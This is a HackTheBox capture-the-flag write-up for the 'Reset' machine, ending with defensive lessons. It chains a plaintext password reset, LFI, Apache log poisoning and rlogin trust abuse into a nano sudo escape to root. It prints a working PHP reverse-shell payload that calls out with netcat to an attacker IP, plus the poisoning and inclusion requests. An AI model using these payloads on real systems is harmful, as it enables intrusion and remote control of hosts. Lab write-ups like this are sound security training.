Reset - HackTheBox Writeup

Machine Information

Machine Rating

⭐⭐☆☆☆ (2/5)

Difficulty Assessment:

• Enumeration: ⭐⭐⭐☆☆
• Real-world: ⭐⭐⭐⭐☆
• CVE: ⭐⭐☆☆☆
• CTF-like: ⭐⭐⭐⭐☆

Summary

Reset is an Easy difficulty Linux machine that demonstrates the dangers of insecure password reset functionality combined with log poisoning attacks. The machine features a web application with a password reset feature that returns new credentials in plaintext responses. After gaining initial access as the web server user, exploitation of legacy Rservices (rsh/rlogin) via /etc/hosts.equiv configuration allows lateral movement to a privileged user. Finally, privilege escalation is achieved by abusing nano editor privileges in a detached tmux session to execute arbitrary commands as root.

TL;DR: Reset password → Log poisoning + LFI for RCE → Rservices abuse for lateral movement → Tmux session inspection reveals sudo credentials → nano editor command execution → root shell.

Reconnaissance

Port Scanning

nmap --open 10.129.234.128 | grep open | cut -d ' ' -f 1 | cut -d '/' -f 1 | paste -sd,
nmap 10.129.234.128 -p 22,80,512,513,514 -sV -sC -Pn --disable-arp-ping

Results:

Service Enumeration

Port 80 - Apache HTTP Server:

• Admin login interface presented
• “Forgot Password?” functionality available
• Title indicates “Admin Login”
• PHPSESSID cookie set without httponly flag

Ports 512-514 - Rservices:

• Legacy remote shell services (rsh, rlogin, rcp)
• Notable security concern in modern environments

Vulnerability Assessment

1. Insecure Password Reset: Password reset endpoint returns plaintext credentials in response
2. Local File Inclusion (LFI): Dashboard log viewing feature accepts file parameter vulnerable to path traversal
3. Log Poisoning: Apache access.log is writable and reflects User-Agent headers
4. Rservices Misconfiguration: /etc/hosts.equiv permits unauthenticated access
5. Exposed Tmux Session: Detached tmux session contains sensitive information
6. Insecure Sudo Privileges: nano editor execution with sudo allows command injection

Initial Foothold

Exploitation Path

Step 1: Password Reset Abuse

Navigate to the login page and click “Forgot Password?” link. Attempt to reset the admin user’s password.

# Using browser developer tools (F12), navigate to Network tab
# Click "Send Reset Email" button
# Inspect the POST request to /reset_password.php
# Response will contain new admin password in plaintext

Login credentials will be returned directly in the HTTP response. Use these credentials to access the admin dashboard.

Step 2: Local File Inclusion Discovery

Once logged into the dashboard, observe the “View Logs” functionality. Using Burp Suite to intercept requests:

POST /dashboard.php HTTP/1.1
Host: 10.129.234.128
Content-Type: application/x-www-form-urlencoded

file=%2Fvar%2Flog%2Fsyslog

The file parameter is vulnerable to path traversal (using URL-encoded forward slashes: %2F).

Step 3: Log Poisoning Setup

First, create a reverse shell payload and inject it via the User-Agent header:

# Craft the payload (bash reverse shell)
PAYLOAD='<?php system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.4 9090 >/tmp/f"); ?>'

# Start netcat listener on attacking machine
nc -lvnp 9090

Using Burp Suite, craft a request with the malicious payload in the User-Agent header:

GET / HTTP/1.1
Host: 10.129.234.128
User-Agent: <?php system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.4 9090 >/tmp/f'); ?>
Connection: close

This poisons the Apache access.log file with our PHP payload.

Step 4: Log File Inclusion and Code Execution

Now include the poisoned access.log file through the LFI vulnerability:

POST /dashboard.php HTTP/1.1
Host: 10.129.234.128
Content-Type: application/x-www-form-urlencoded

file=%2Fvar%2Flog%2Fapache2%2Faccess.log

The access.log file will be processed as PHP code, executing our reverse shell payload.

Step 5: Initial Shell Access

# On attacking machine
nc -lvnp 9090
# Connection received from target
/bin/sh: 0: can't access tty; job control turned off

# Upgrade to interactive bash shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm

# Verify access
whoami
# Output: www-data

# Locate user flag
cat /home/sadm/user.txt

Privilege Escalation

Lateral Movement via Rservices

Step 1: Enumerate Hosts Configuration

While logged in as www-data, inspect the Rservices configuration:

cat /etc/hosts.equiv

Output:

# /etc/hosts.equiv: list of hosts and users that are granted "trusted" r
#                   command access to your system.
- root
- local
+ sadm

The + prefix on sadm indicates that the sadm user can access this machine from any host via rsh/rlogin/rcp without authentication.

Step 2: Create Local User on Attacking Machine

# On attacking machine
sudo useradd sadm
sudo passwd sadm
# Enter any password when prompted

# Switch to sadm user
su sadm

Step 3: Authenticate via rlogin

# As sadm user on attacking machine
rlogin sadm@10.129.234.128
# Connection established without password prompt
sadm@reset:~$ whoami
# Output: sadm

Privilege Escalation to Root

Step 1: Discover Tmux Session

Enumerate running processes:

ps aux | grep tmux

Output:

sadm           1001   0.0   0.1   8764   3972 ?   Ss   17:38   0:00 tmux new-session -d -s sadm_session

A detached tmux session named sadm_session is running.

Step 2: Attach to Tmux Session

tmux attach -t sadm_session

This reveals sensitive information in the tmux scrollback:

User sadm may run the following commands on reset:
    (ALL) PASSWD: /usr/bin/nano /etc/firewall.sh
    (ALL) PASSWD: /usr/bin/tail /var/log/syslog
    (ALL) PASSWD: /usr/bin/tail /var/log/auth.log

echo 7lE2PAfVHfjz4HpE | sudo -S nano /etc/firewall.sh

The sadm user’s sudo password is visible: 7lE2PAfVHfjz4HpE

Step 3: Exploit Nano with Sudo Privileges

# Execute nano with sudo privileges
sudo nano /etc/firewall.sh

# Inside nano editor:
# Press Ctrl+R to open "Read File" prompt
# Press Ctrl+X to open "Execute Command" prompt

# At the command prompt, type:
reset; bash 1>&0 2>&0

# This drops into a root shell

Step 4: Verify Root Access

whoami
# Output: root

# Locate and read root flag
cat /root/root_279e22f8.txt

Attack Chain Summary

Password Reset (Plaintext Credentials)
    ↓
Admin Dashboard Access
    ↓
LFI via file Parameter
    ↓
Log Poisoning (User-Agent Injection)
    ↓
PHP Code Execution
    ↓
Reverse Shell as www-data
    ↓
Rservices Misconfiguration (/etc/hosts.equiv)
    ↓
rlogin Lateral Movement to sadm
    ↓
Detached Tmux Session Exploitation
    ↓
Exposed Sudo Credentials
    ↓
Nano Command Execution Abuse
    ↓
Root Shell Access

Tools Used

Key Learnings

Techniques Practiced

• HTTP response analysis for information disclosure
• Local File Inclusion (LFI) vulnerability exploitation
• Log poisoning attacks via HTTP headers
• PHP code injection in writable server logs
• Legacy authentication service enumeration (Rservices)
• Configuration file analysis (/etc/hosts.equiv)
• Process enumeration and tmux session discovery
• Scrollback buffer information disclosure
• Sudo privilege abuse with text editors
• Command execution through editor escape sequences

Lessons Learned

1. Password reset mechanisms must never return credentials in plaintext - This is a critical security flaw that grants immediate unauthenticated access to privileged accounts.

2. User-controlled input in file paths requires strict validation - Even with the appearance of access control, LFI vulnerabilities can be chained with other attacks.

3. Writable application logs are dangerous - If user input (headers, parameters) is logged and the logs are readable/includable by the application, log poisoning becomes possible.

4. Legacy services like Rservices create significant security risks - /etc/hosts.equiv and ~/.rhosts should be removed or heavily restricted in modern environments.

5. Detached terminal multiplexer sessions can leak sensitive information - Scrollback buffers and command history in tmux/screen sessions should be protected.

6. Text editors with sudo privileges are dangerous - nano, vim, and similar editors allow command execution through escape sequences, making them dangerous when combined with sudo.

7. Process monitoring is crucial - Visible ps aux output revealed the tmux session that contained the escalation path.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>